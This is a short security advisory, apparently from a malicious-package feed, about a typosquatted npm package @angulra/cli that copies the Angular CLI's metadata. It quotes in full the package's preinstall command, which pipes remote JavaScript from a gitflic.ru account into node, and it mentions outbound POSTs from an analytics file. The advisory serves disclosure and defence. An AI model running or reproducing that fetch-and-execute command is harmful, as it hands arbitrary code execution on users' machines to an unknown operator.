Summary

Malicious code in @angulra/cli (npm)

Details

The package name @angulra/cli is a character-swap of @angular/cli and copies the legitimate Angular CLI's metadata (description, repository, homepage, keywords, dependencies). Its package.json defines a preinstall script that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching JavaScript from an anonymous third-party account (hellscripter) on gitflic.ru via a web.archive.org proxy and piping the response directly into Node. The URL is unpinned, has no integrity check, is unrelated to the Angular publisher, and the fetched bytes execute automatically on `npm install`, giving the operator of that endpoint arbitrary code execution on the installer's machine. src/analytics/analytics-collector.js additionally issues outbound POSTs via https.request alongside ping-style activity.

Decision reason

OpenSSF Malicious Packages via OSV confirms @angulra/cli@22.2.1 as malicious (MAL-2026-17495): Malicious code in @angulra/cli (npm)
